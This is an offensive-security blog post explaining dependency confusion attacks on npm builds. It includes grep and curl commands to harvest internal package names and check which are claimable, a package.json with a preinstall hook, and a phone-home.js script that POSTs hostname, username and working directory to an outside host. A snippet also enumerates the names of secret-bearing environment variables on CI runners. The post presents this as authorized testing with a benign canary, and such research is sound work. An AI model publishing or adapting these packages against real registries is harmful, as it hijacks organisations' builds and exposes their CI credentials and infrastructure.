cd ../blog

Dependency Confusion: When Your Build Trusts the Wrong Registry

Publishing a public package with your internal name can hijack builds across an organization. We cover the resolution flaw and how to lock package sources down.

Dependency confusion needs no breach of your systems: if a build can reach both a private and a public registry and resolves names without pinning the source, an attacker who publishes a public package using your internal name gets their code pulled and executed. This is how to discover internal names and prove the hijack.

Finding it

The resolution flaw is that package managers often pick the "best" match — usually the highest version — regardless of which registry it came from. Your first job is harvesting internal package names, because the public registry is empty of them until someone (you) claims them.

Where the names leak:

  • Public source repos that include package.json, lockfiles, or requirements.txt.
  • Frontend bundles referencing internal module names (require("@acme/internal-...")).
  • Error messages, stack traces, and leaked CI/build logs.
  • Old job postings, Dockerfiles, and documentation.

Grep collected JS bundles and repos for scoped names and internal-looking imports:

# Pull every JS asset, then extract candidate internal package names
grep -rhoE '@[a-z0-9-]+/[a-z0-9._-]+' ./bundles/ | sort -u
grep -rhoE 'require\(["'\''][a-z0-9@/._-]+' ./bundles/ | sort -u
# Cross-check each against the public registry; 404 == claimable internal name
for p in $(cat candidates.txt); do
  code=$(curl -s -o /dev/null -w '%{http_code}' "https://registry.npmjs.org/$p")
  [ "$code" = "404" ] && echo "CLAIMABLE: $p"
done

Any name that exists in their build but returns 404 on the public registry is a candidate. confused and snync automate this triage directly from a manifest you scrape:

confused -l npm package.json     # flags every dependency missing from the public registry

Names that resolve only internally — unscoped or under a scope nobody has registered — are the ones to claim.

Proof of concept

The safe, authorized PoC is a package whose install script phones home — no payload, just proof of execution. Publish a higher version than the internal one to win resolution:

{
  "name": "acme-internal-utils",
  "version": "99.0.0",
  "scripts": {
    "preinstall": "node phone-home.js"
  }
}
// phone-home.js — benign canary: identifies the host that ran the install
const os = require("os"), https = require("https");
const data = JSON.stringify({
  pkg: "acme-internal-utils",
  host: os.hostname(),
  user: os.userInfo().username,
  cwd: process.cwd(),
  dns: process.env.HOSTNAME || "",
});
https.request("https://canary.researcher.example/hit", { method: "POST" }, () => {})
  .end(data);

Publish it (npm publish) to the public registry. When the victim's build runs npm install acme-internal-utils, the resolver sees 99.0.0 on the public source, grabs it over the private feed, and runs preinstall:

# What the victim's pipeline effectively does — and pulls YOUR 99.0.0
npm install acme-internal-utils

A POST landing on your canary, especially from a CI hostname, is conclusive proof: your code executed inside their build with whatever credentials that runner holds.

Going further

A developer laptop is bad; a CI runner is the real prize, because pipelines carry deployment credentials, cloud role tokens, and signing keys. In an authorized engagement, demonstrate reach by having the canary report (not exfiltrate) the presence of sensitive environment variables:

// Report names only, never values — enough to prove access, nothing harmful
const sensitive = Object.keys(process.env)
  .filter(k => /TOKEN|KEY|SECRET|AWS|NPM/i.test(k));
// include `sensitive` in the canary POST

The attack's appeal is its asymmetry: no foothold, no phishing, no code vulnerability — just one public name and a free registry account. The blast radius is every machine that runs the install, across every developer and pipeline. Capture the claimable name, the published version, and the canary callback (ideally from CI). Only publish packages targeting names you are authorized to test, use a clearly-marked researcher canary, and unpublish afterward.